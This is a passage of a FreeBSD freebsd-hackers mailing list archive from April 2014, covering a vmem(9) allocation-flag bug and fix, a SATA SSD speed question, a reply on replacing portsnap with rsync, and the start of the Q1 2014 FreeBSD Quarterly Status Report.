11:19:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=CNOZIAxR3Y3U7rkrKMaNoZUvMWx8/3rn5uHJFaBGsP8=; b=ray6Urqwc8bRrN2CLU9z960W4P0Y8aKlA37QQhes14oD37TUrdhGTPkM2hfXbb4bPT SahADfv3lqs8nba41WVwdePkZn8DfhhhlaVY4Csgo4t+ZCiDe/6sX4NV8euTw8CQKF/o 3WtP7ojSll2HLAuJsiKVPT5nlfxl6vfsi+AlndzxQn1L8HSdDQgU6fqyscYwVShBxfIE PpFB9rfzOH1SnQGmVRs5IMt7wlzmYQCmge9TlFNxlr8LFjAT7BbwlUGOkfeFm/oh9xdi bZajN2IOtjSs1rEMFiBtoAwXVIFmqTX+hBmTSDX5PDJS5Ja9QCM2yftQ4RlLqnvpsDCz a7Gg== X-Received: by 10.194.103.36 with SMTP id ft4mr3092105wjb.66.1397672340946; Wed, 16 Apr 2014 11:19:00 -0700 (PDT) Received: from dft-labs.eu (n1x0n-1-pt.tunnel.tserv5.lon1.ipv6.he.net. [2001:470:1f08:1f7::2]) by mx.google.com with ESMTPSA id fi2sm37321664wic.15.2014.04.16.11.18.59 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Wed, 16 Apr 2014 11:18:59 -0700 (PDT) Date: Wed, 16 Apr 2014 20:18:57 +0200 From: Mateusz Guzik To: velocidade da luz Subject: Re: Corrected in FreeBSD Developers Handbook Message-ID: <20140416181856.GA13921@dft-labs.eu> Mail-Followup-To: Mateusz Guzik , velocidade da luz , "freebsd-hackers@freebsd.org" References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 18:19:03 -0000 On Wed, Apr 16, 2014 at 06:49:35PM +0300, velocidade da luz wrote: > You agree that should be corrected in FreeBSD Developers Handbook the what is being discussed in FreeBSD Forums. http://forums.freebsd.org/viewtopic.php?f=34&t=45995 > I am interested in learning the true Assembly. > I don't think the purpose of that chapter was to teach any form of assembly in the first place and don't think this handbook should try to do that. Instead it seems to show how to do stuff on FreeBSD if you have assembly knowledge already which I find reasonable. This is of course assuming either ia-32 or amd64. If you want to learn practical assembly I suggest you steal syscall calling code from that tutorial, read what stack is and start playing with the code. If stuck, write an equivalent in C let your compiler translate it to assembly (-S switch to gcc and clang). -- Mateusz Guzik From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 21:23:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CE60E5D1; Wed, 16 Apr 2014 21:23:43 +0000 (UTC) Received: from mail-pb0-x22d.google.com (mail-pb0-x22d.google.com [IPv6:2607:f8b0:400e:c01::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9FD8212DC; Wed, 16 Apr 2014 21:23:43 +0000 (UTC) Received: by mail-pb0-f45.google.com with SMTP id uo5so11298061pbc.18 for ; Wed, 16 Apr 2014 14:23:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; bh=KduU0YdSp97u1nCfWLRVMHXGXrW55N25UtBrIllM12E=; b=XjjLh0SoOtQxRg2myMlCy9P4E5WeTJvBuAGVCjEJpphBYf8he+A6DOYN4fUNuysnGb ZcEi6mGOmgPvZsxW1w7KJnvotxNz97GMBGMfwtR5BX8CYKNPDTm4mllCnoQgN20rXWaz 7aBGE3cce+nHRH8yxeRps4dbstf0BhZo0dtWQm1rTrYd59rj8iy1gocPIk1w7yN/KEgm vHLJnqQIw82XsTnCrJfKxowLOmsRywdXMinUt6vNNYm8veC/qniixU4QVtFPAq9rpVWo 0jcw+XWCuUvIuCR8XVKn39chsHQAh3X52UdcMPtqhfcFo8Okq8bTxSxwIWdtTWPWsq6D rrHg== X-Received: by 10.66.164.165 with SMTP id yr5mr10989425pab.63.1397683423207; Wed, 16 Apr 2014 14:23:43 -0700 (PDT) Received: from [10.192.166.0] (stargate.chelsio.com. [67.207.112.58]) by mx.google.com with ESMTPSA id vg1sm49025106pbc.44.2014.04.16.14.23.42 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 16 Apr 2014 14:23:42 -0700 (PDT) Sender: Navdeep Parhar Message-ID: <534EF4DD.4000200@FreeBSD.org> Date: Wed, 16 Apr 2014 14:23:41 -0700 From: Navdeep Parhar User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org, Jeff Roberson Subject: vmem(9) with M_FIRSTFIT Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 21:23:43 -0000 I'm trying to use vmem with M_FIRSTFIT strategy but it causes an assertion failure in vmem_xalloc. The problem is that qc_import sets M_BESTFIT in the flags passed to it before passing them on to vmem_xalloc. vmem_xalloc then complains because both FIRSTFIT and BESTFIT are set. Does anyone know why qc_import insists on M_BESTFIT? Is it safe to change it as shown here? if ((flags & VMEM_FITMASK) == 0) flags |= M_BESTFIT; Regards, Navdeep (kgdb) p panicstr $4 = 0xffffffff814ed960 "Assertion strat == M_BESTFIT || strat == M_FIRSTFIT failed at /usr/src/sys/kern/subr_vmem.c:1113" (kgdb) bt ... #10 0xffffffff808e2a38 in kassert_panic (fmt=) at /usr/src/sys/kern/kern_shutdown.c:644 #11 0xffffffff80931ac4 in vmem_xalloc (vm=0xfffff800cc1dd000, size0=, align=0, phase=0, nocross=0, minaddr=0, maxaddr=, flags=, addrp=0x12) at /usr/src/sys/kern/subr_vmem.c:1113 #12 0xffffffff80933bcc in qc_import (arg=0xfffff800cc1dd488, store=0xfffff800475a6418, cnt=125, flags=) at /usr/src/sys/kern/subr_vmem.c:507 #13 0xffffffff80b5ee00 in uma_zalloc_arg (zone=0xfffff8001345d480, udata=0x0, flags=4097) at /usr/src/sys/vm/uma_core.c:2535 #14 0xffffffff809319e9 in vmem_alloc (vm=0xfffff800cc1dd000, size=, flags=4097, addrp=0xfffffe0238422868) at uma.h:336 #15 0xffffffff809a955c in do_setopt_tx_throttle (so=0xfffff80047b95000, sopt=) at /usr/src/sys/net/flow_throttle.c:379 ... From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 21:25:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B831C6C4 for ; Wed, 16 Apr 2014 21:25:10 +0000 (UTC) Received: from mail-pa0-f52.google.com (mail-pa0-f52.google.com [209.85.220.52]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8BF4B12F8 for ; Wed, 16 Apr 2014 21:25:10 +0000 (UTC) Received: by mail-pa0-f52.google.com with SMTP id rd3so11358270pab.25 for ; Wed, 16 Apr 2014 14:25:10 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=dugg85qMO/Copr9U3zWahccNs+4iBqvGW3vtxhOfIFg=; b=GwnpMxgiWCwNIrfe9XOzASKib8oKF8Y5+8/FDXq5l40QCbgiDPE/QINpNpXrHeU/ig cEVC/dC4X3myLX+feZ1iWItaQcMTlOc6I6qyNZApGmEp1n8QxYFDL1rCzhchDUKJtXEX 38epGUKli/Yn9k3hTQJzTOrybdDWjTVWkDtW7+9rw8Ums91H1w9vqcK+tSd6EHL58Xgr QWEGWS7hYIkDFsU8PxtkjGD/0sR+n0GbDfHG0q1//PjDXJrOuOQdouLGcwbl83OchgBW Zxj2uBuvpgdYbHPEWnL6ke/kNOIetR0eBjTMLoARKT/g6iBKbSvzS3swH5E66NRNBopr 0elA== X-Gm-Message-State: ALoCoQkhNZOszTB+IvnvEWft71qKkylnLh5YgmaJ51ST5jwnT+g7t2m39CWqXuudeIoX4z+kYFz2 X-Received: by 10.68.239.70 with SMTP id vq6mr10960888pbc.152.1397683510027; Wed, 16 Apr 2014 14:25:10 -0700 (PDT) Received: from rrcs-66-91-135-210.west.biz.rr.com (rrcs-66-91-135-210.west.biz.rr.com. [66.91.135.210]) by mx.google.com with ESMTPSA id pb7sm116241875pac.10.2014.04.16.14.25.08 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Wed, 16 Apr 2014 14:25:09 -0700 (PDT) Date: Wed, 16 Apr 2014 11:21:04 -1000 (HST) From: Jeff Roberson X-X-Sender: jroberson@desktop To: Navdeep Parhar Subject: Re: vmem(9) with M_FIRSTFIT In-Reply-To: <534EF4DD.4000200@FreeBSD.org> Message-ID: References: <534EF4DD.4000200@FreeBSD.org> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Mailman-Approved-At: Wed, 16 Apr 2014 21:46:39 +0000 Cc: freebsd-hackers@freebsd.org, Jeff Roberson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 21:25:10 -0000 On Wed, 16 Apr 2014, Navdeep Parhar wrote: > I'm trying to use vmem with M_FIRSTFIT strategy but it causes an > assertion failure in vmem_xalloc. The problem is that qc_import sets > M_BESTFIT in the flags passed to it before passing them on to > vmem_xalloc. vmem_xalloc then complains because both FIRSTFIT and > BESTFIT are set. > > Does anyone know why qc_import insists on M_BESTFIT? Is it safe to > change it as shown here? Likely just an oversight on my part. > > if ((flags & VMEM_FITMASK) == 0) > flags |= M_BESTFIT; This seems fine. Jeff > > Regards, > Navdeep > > > (kgdb) p panicstr > $4 = 0xffffffff814ed960 "Assertion strat == M_BESTFIT || strat == > M_FIRSTFIT failed at /usr/src/sys/kern/subr_vmem.c:1113" > (kgdb) bt > ... > #10 0xffffffff808e2a38 in kassert_panic (fmt=) at > /usr/src/sys/kern/kern_shutdown.c:644 > #11 0xffffffff80931ac4 in vmem_xalloc (vm=0xfffff800cc1dd000, > size0=, align=0, phase=0, > nocross=0, minaddr=0, maxaddr=, flags= optimized out>, addrp=0x12) > at /usr/src/sys/kern/subr_vmem.c:1113 > #12 0xffffffff80933bcc in qc_import (arg=0xfffff800cc1dd488, > store=0xfffff800475a6418, cnt=125, > flags=) at /usr/src/sys/kern/subr_vmem.c:507 > #13 0xffffffff80b5ee00 in uma_zalloc_arg (zone=0xfffff8001345d480, > udata=0x0, flags=4097) > at /usr/src/sys/vm/uma_core.c:2535 > #14 0xffffffff809319e9 in vmem_alloc (vm=0xfffff800cc1dd000, size= optimized out>, flags=4097, > addrp=0xfffffe0238422868) at uma.h:336 > #15 0xffffffff809a955c in do_setopt_tx_throttle (so=0xfffff80047b95000, > sopt=) > at /usr/src/sys/net/flow_throttle.c:379 > ... > From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 17 10:10:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EC3F6C3A; Thu, 17 Apr 2014 10:10:14 +0000 (UTC) Received: from mail-we0-x236.google.com (mail-we0-x236.google.com [IPv6:2a00:1450:400c:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 67056162D; Thu, 17 Apr 2014 10:10:14 +0000 (UTC) Received: by mail-we0-f182.google.com with SMTP id p61so236734wes.13 for ; Thu, 17 Apr 2014 03:10:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=J4XUj8zw06zgvDA/X9gKWUWScztLqST7s0vrLlNY1tA=; b=pRvCeTCQruBkO3nUXBCe53AuqE4b8y9s3jNKs0MnNyD3jN6bFfvtc0JHl7SW1oVb6Q Te2IFppfrWbvySzPWxdU7BfQj3HLZkRhVHnNmnazJTV5pfsXORTNshCLSMkHaXTOXrit KZxz0KTdmy7zHt3tw2pRzbDPmFt+AxPFF9+AT+UL2CfAU14932qX8oACaJK6IcZXdOuS UZnPPEY21zwZL62wGHifVDjSIEIAZRBBO/xGQpevkZUSxAYVoXOGTRAE7c0+xoecg9c4 Ax3X/mYblwW+JCoIXeTRYDip2gQQ8lqU09jN72qFCMZUvEVkEUbdKiOPiozW86TnS5Tx BEbA== MIME-Version: 1.0 X-Received: by 10.180.105.132 with SMTP id gm4mr23477137wib.39.1397729412675; Thu, 17 Apr 2014 03:10:12 -0700 (PDT) Received: by 10.194.235.68 with HTTP; Thu, 17 Apr 2014 03:10:12 -0700 (PDT) Date: Thu, 17 Apr 2014 14:10:12 +0400 Message-ID: Subject: SATA2 mode on SATA3 SSD (marvell controller) after boot From: Andrey Fesenko To: freebsd-current , "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 17 Apr 2014 10:10:15 -0000 Hello, ada2: ATA-8 SATA 3.x device ada2: 300.000MB/s transfers (SATA 2.x, UDMA6, PIO 8192bytes) need tuning? or change SSD? motherboard gigabyte z87mx-d3h all ports SATA-3, port change does not change the situation hdd SATA-3 recognized correctly ada3: ATA-9 SATA 3.x device ada3: 600.000MB/s transfers (SATA 3.x, UDMA6, PIO 8192bytes) another ssd ada2: ATA-8 SATA 3.x device ada2: 600.000MB/s transfers (SATA 3.x, UDMA6, PIO 8192bytes) if disconnect ssd pr 17 14:07:08 desktop kernel: ahcich3: DISCONNECT requested Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset... Apr 17 14:07:08 desktop kernel: ahcich3: SATA connect timeout time=10000us status=00000000 Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset: device not found Apr 17 14:07:08 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 lun 0 Apr 17 14:07:08 desktop kernel: pass3: s/n P02411112921 detached Apr 17 14:07:08 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun 0 Apr 17 14:07:08 desktop kernel: ada3: s/n P02411112921 detached Apr 17 14:07:08 desktop kernel: (pass3:ahcich3:0:0:0): Periph destroyed Apr 17 14:07:08 desktop kernel: (ada3:ahcich3:0:0:0): Periph destroyed Apr 17 14:07:18 desktop kernel: ahcich3: CONNECT requested Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset... Apr 17 14:07:18 desktop kernel: ahcich3: SATA connect time=8000us status=00000133 Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device found Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device ready after 0ms Apr 17 14:07:18 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun 0 Apr 17 14:07:18 desktop kernel: GEOM: new disk ada3 Apr 17 14:07:18 desktop kernel: ada3: ATA-8 SATA 3.x device Apr 17 14:07:18 desktop kernel: ada3: Serial Number P02411112921 Apr 17 14:07:18 desktop kernel: ada3: 600.000MB/s transfers (SATA 3.x, UDMA6, PIO 8192bytes) Apr 17 14:07:18 desktop kernel: ada3: Command Queueing enabled Apr 17 14:07:18 desktop kernel: ada3: 122104MB (250069680 512 byte sectors: 16H 63S/T 16383C) Apr 17 14:07:18 desktop kernel: ada3: Previously was known as ad10 Apr 17 14:07:18 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 lun 0 Apr 17 14:07:18 desktop kernel: pass3: ATA-8 SATA 3.x device Apr 17 14:07:18 desktop kernel: pass3: Serial Number P02411112921 Apr 17 14:07:18 desktop kernel: pass3: 600.000MB/s transfers (SATA 3.x, UDMA6, PIO 8192bytes) Apr 17 14:07:18 desktop kernel: pass3: Command Queueing enabled # uname -a FreeBSD desktop.local 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r263932: Sun Mar 30 15:43:01 MSK 2014 root@desktop.local:/usr/obj/usr/src/sys/MY_DES amd64 From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 17 16:37:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 642239FC for ; Thu, 17 Apr 2014 16:37:27 +0000 (UTC) Received: from mail-in-03.arcor-online.net (mail-in-03.arcor-online.net [151.189.21.43]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "mx.arcor.de", Issuer "Thawte SSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 19695153D for ; Thu, 17 Apr 2014 16:37:26 +0000 (UTC) Received: from mail-in-05-z2.arcor-online.net (mail-in-05-z2.arcor-online.net [151.189.8.17]) by mx.arcor.de (Postfix) with ESMTP id 2E1C1D802B for ; Thu, 17 Apr 2014 17:22:13 +0200 (CEST) Received: from mail-in-10.arcor-online.net (mail-in-10.arcor-online.net [151.189.21.50]) by mail-in-05-z2.arcor-online.net (Postfix) with ESMTP id 3257E6F2626 for ; Thu, 17 Apr 2014 17:22:13 +0200 (CEST) X-Greylist: Passed host: 188.98.159.147 X-DKIM: Sendmail DKIM Filter v2.8.2 mail-in-10.arcor-online.net 829D337E002 Received: from lorvorc.mips.inka.de (dslb-188-098-159-147.pools.arcor-ip.net [188.98.159.147]) by mail-in-10.arcor-online.net (Postfix) with ESMTPS id 829D337E002 for ; Thu, 17 Apr 2014 17:22:12 +0200 (CEST) Received: from lorvorc.mips.inka.de (localhost [127.0.0.1]) by lorvorc.mips.inka.de (8.14.8/8.14.7) with ESMTP id s3HFM816065415 for ; Thu, 17 Apr 2014 17:22:08 +0200 (CEST) (envelope-from news@lorvorc.mips.inka.de) Received: (from news@localhost) by lorvorc.mips.inka.de (8.14.8/8.14.8/Submit) id s3HFM8uc065414 for freebsd-hackers@freebsd.org; Thu, 17 Apr 2014 17:22:08 +0200 (CEST) (envelope-from news) To: freebsd-hackers@freebsd.org From: Christian Weisgerber Newsgroups: list.freebsd.hackers Subject: Re: MITM attacks against portsnap and freebsd-update Date: Thu, 17 Apr 2014 15:22:08 +0000 (UTC) Lines: 22 Message-ID: References: <2012148.SzKMgBGQYg@desktop.reztek> X-Trace: lorvorc.mips.inka.de 1397748128 63401 ::1 (17 Apr 2014 15:22:08 GMT) X-Complaints-To: usenet@mips.inka.de User-Agent: slrn/1.0.1 (FreeBSD) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 17 Apr 2014 16:37:27 -0000 On 2014-04-11, Matthew Rezny wrote: > I agree portsnap could be replaced, but SVNlite isn't the answer. Instead, I > suggest rsync. Rsync is fast to do the initial fetch and even faster to do the > update. Rsync performs poorly with large directory trees. Each run, it stat(2)s every file, bringing the server to its knees. *The* feature of CVSup was that it cached this meta data. > in addition to, SSL/TLS support for the TCP connection, the trees could be > fetched not as thousand of files, but as a couple tar files (src.tar and > ports.tar), the hashes of which could be verified before extraction. Those tar > files should be uncompressed in order to allow the rsync algorithm to work its > magic during updates. I'm not sure how that scales. Poorly unless the server can hold the file completely in memory, would be my guess. -- Christian "naddy" Weisgerber naddy@mips.inka.de From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 17 18:32:58 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9644711F; Thu, 17 Apr 2014 18:32:58 +0000 (UTC) Received: from mail-ee0-x22e.google.com (mail-ee0-x22e.google.com [IPv6:2a00:1450:4013:c00::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5F47612DB; Thu, 17 Apr 2014 18:32:57 +0000 (UTC) Received: by mail-ee0-f46.google.com with SMTP id t10so930900eei.5 for ; Thu, 17 Apr 2014 11:32:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:organization:mime-version :content-type:content-transfer-encoding; bh=uD9E4oBTs+cbtzZGczJ3TTkWuefsAAEikIE4cFdN58U=; b=yiDCM8oavQud0vJ8cO5cn23ShDV7xDkgXex9ThL1btarmHTqTd+DGBoqH0mrncjwun Lp5w+q10n9XpQVNHvNUciZB7TXDMQ++EwQ2dhg/lEvaEwBOBrpYtXhrRlBaUEFPVpisW tH0WyD1p3OVa4sdkDG+5xYZ6qON7P1evOxswhMafpuhjIjIhijb5wyuvnHko6ixINFv6 5fAFTOTxVrbh7x70Hxvoi1JxItA2bKL+7xV+1r+dVkv57ju/blQ61xmmvAXPJkNXdxFR wA9fnEbzWRHCiGHQNCmu8TAOIDU71xzRFRI9rTDA+CFex7vA50BzykBvpg+Pm83Or/l6 Fa+Q== X-Received: by 10.15.35.66 with SMTP id f42mr4684483eev.93.1397759575450; Thu, 17 Apr 2014 11:32:55 -0700 (PDT) Received: from funktor (catv-80-99-67-72.catv.broadband.hu. [80.99.67.72]) by mx.google.com with ESMTPSA id 48sm69562369eee.2.2014.04.17.11.32.53 for (version=SSLv3 cipher=RC4-SHA bits=128/128); Thu, 17 Apr 2014 11:32:54 -0700 (PDT) Sender: =?UTF-8?B?UMOhbGkgR8OhYm9yIErDoW5vcw==?= Date: Thu, 17 Apr 2014 20:32:36 +0200 From: Gabor Pali To: hackers@freebsd.org Subject: FreeBSD Quarterly Status Report, January-March 2014 Message-ID: <20140417203258.680ee824@funktor> Organization: The FreeBSD Project X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.22; i386-portbld-freebsd9.1) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: stable@freebsd.org, current@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 17 Apr 2014 18:32:58 -0000 FreeBSD Quarterly Status Report, January-March 2014 This report covers FreeBSD-related projects between January and March 2014. This is the first of four reports planned for 2014. Note that there is an HTML version available at http://www.FreeBSD.org/news/status/report-2014-01-2014-03.html Introduction The first quarter of 2014 was, again, a hectic and productive time for FreeBSD. The Ports team released their landmark first quarterly "stable" branch. FreeBSD continues to grow on the ARM architecture, now running on an ARM-based ChromeBook. SMP is now possible on multi-core ARM systems. bhyve, the native FreeBSD hypervisor, continues to improve. An integral test suite is taking shape, and the Jenkins Continuous Integration system has been implemented. FreeBSD patches to GCC are being "forward-ported", and LLDB, the Clang/LLVM debugger is being ported. Desktop use has also seen improvements, with work on Gnome, KDE, Xfce, KMS video drivers, X.org, and vt, the new console driver which supports KMS and Unicode. Linux and Wine binary compatibility layers have been improved. UEFI booting support has been merged to head. The FreeBSD Foundation continues to assist in moving FreeBSD forward, sponsoring conferences and meetings and numerous development projects. And these are only some of the things that happened! Read on for even more. Thanks to all the reporters for the excellent work! This report contains 41 entries and we hope you enjoy reading it. The deadline for submissions covering between April and June 2014 is July 7th, 2014. __________________________________________________________________ FreeBSD Team Reports * FreeBSD Cluster Administration Team * FreeBSD Core Team * FreeBSD Documentation Engineering Team * FreeBSD Port Management Team * FreeBSD Postmaster Team * FreeBSD Release Engineering Team Projects * Jenkins Continuous Integration for FreeBSD * ZFSguru Kernel * ASLR and PIE * Intel GPU Driver Update * Native iSCSI Stack * New Automounter * PCI SR-IOV Infrastructure * SDIO Driver * UEFI Boot * Updated vt(4) System Console Architectures * bhyve * FreeBSD Host Support for OpenStack and OpenContrail * FreeBSD on Chromebook * FreeBSD/arm64 * FreeBSD/armv6hf * SMP on Multi-Core ARM Systems Userland Programs * auditdistd(8) * External Toolchain Improvements * Forward Port FreeBSD GCC * FreeBSD Test Suite * LLDB Debugger Port Ports * Chromium * FreeBSD Ada Ports * GCC in the Ports Collection * GNOME/FreeBSD * KDE/FreeBSD * libvirt/bhyve Support * OpenAFS on FreeBSD * The Graphics Stack on FreeBSD * Using CentOS 6.5 as Linux Base * Wine/FreeBSD * Xfce/FreeBSD Documentation * ZFS Chapter of the Handbook Miscellaneous * FreeBSD Participating in Summer of Code 2014 * The FreeBSD Foundation __________________________________________________________________ FreeBSD Cluster Administration Team Contact: FreeBSD Cluster Administration Team The FreeBSD Cluster Administration Team consists of the people responsible for administering the machines that the project relies on for its distributed work and communications to be synchronised. In this quarter, the team has worked on the following: * Assimilated master email configurations into a single source control repository. * Moved the FreeBSD web server CGI services to a new location (sponsored). * Further enhanced upon our internal monitoring utilities. * Added a Russian pkg(8) mirror, hosted by Yandex. * Moved the FreeBSD Foundation web services to a new server (sponsored). This project is sponsored by The FreeBSD Foundation. __________________________________________________________________ FreeBSD Core Team Contact: FreeBSD Core Team The FreeBSD Core Team constitutes the project's "Board of Directors", responsible for deciding the project's overall goals and direction as well as managing specific areas of the FreeBSD project landscape. The first quarter of 2014 was very active for the Core Team. John Baldwin and David Chisnall kept coordinating the work required for providing a newer version of X.Org for 9.x and 10.x systems. Now that vt(4), a successor to syscons(4) that offers a KMS-enabled console, has been merged to both stable/9 and stable/10, an alternative pkg(8) repository is in preparation for wider testing of vt(4) and the new X.Org version. In addition to that, John Baldwin published the policy on licenses for new files and files with non-standard licenses. Thanks to the efforts of Gavin Atkinson, FreeBSD has again made it into the Google Summer of Code program, for the tenth time. David Chisnall reported that both libc++ and libstdc++ can now be built, as all of the standards-compliant implementations of the required numerical functions have been added. The Core Team conducted an annual review among the Project teams and hats, where team members had to declare whether they wished to continue their service. As a result, Florian Smeets replaced David Wolfskill in the lead role of the Postmaster Team, and Glen Barber assumed the head Release Engineer position from Ken Smith. The Core Team congratulates Florian and Glen, and thanks David and Ken for their long-standing work. The Core Team approved chartering the Ports Security Team, which is established to maintain security updates for the ported applications. In coordination with the Port Management Team, pkg_tools was eventually deprecated and tagged with an End-of-Life date, in order to clear the way for pkg(8). The Port Management Team also requested a way to make it possible to track userland ABI and KBI changes reliably for the Ports Collection. Ideally this can be achieved by increasing the value of __FreeBSD_version on each fix, therefore the corresponding discussion concluded in freezing the ABI note tag for releases in order to keep the size of binary patches for freebsd-update(8) low. A related Errata Notice is about to be published soon. Only a single commit bit was taken for safekeeping. We did not have new committers to the src/ repository in this quarter. __________________________________________________________________ FreeBSD Documentation Engineering Team URL: http://lists.freebsd.org/pipermail/freebsd-doc/2014-February/023265= .html Contact: FreeBSD Documentation Engineering Team The FreeBSD Documentation Engineering Team is responsible for defining and following up on the documentation goals for the committers in the Documentation project. The team is pleased to announce a new member -- Warren Block. In early March, the FreeBSD Documentation Engineering Team members assumed responsibility for the FreeBSD Webmaster Team. __________________________________________________________________ FreeBSD Port Management Team URL: http://www.FreeBSD.org/ports/ URL: http://www.freebsd.org/doc/en_US.ISO8859-1/articles/contributing-po= rts/ URL: http://portsmon.freebsd.org/index.html URL: http://www.freebsd.org/portmgr/index.html URL: http://blogs.freebsdish.org/portmgr/ URL: http://www.twitter.com/freebsd_portmgr/ URL: http://www.facebook.com/portmgr URL: http://plus.google.com/communities/108335846196454338383 Contact: Thomas Abthorpe Contact: Frederic Culot Contact: FreeBSD Port Management Team The role of the FreeBSD Port Management Team is to ensure that the FreeBSD Ports Developer community provides a ports collection that is functional, stable, up-to-date and full-featured. It is also to coordinate among the committers and developers who work on it. The ports tree slowly approaches the 25,000 ports threshold, while the PR count exceeds 1,800. In the first quarter, we added four new 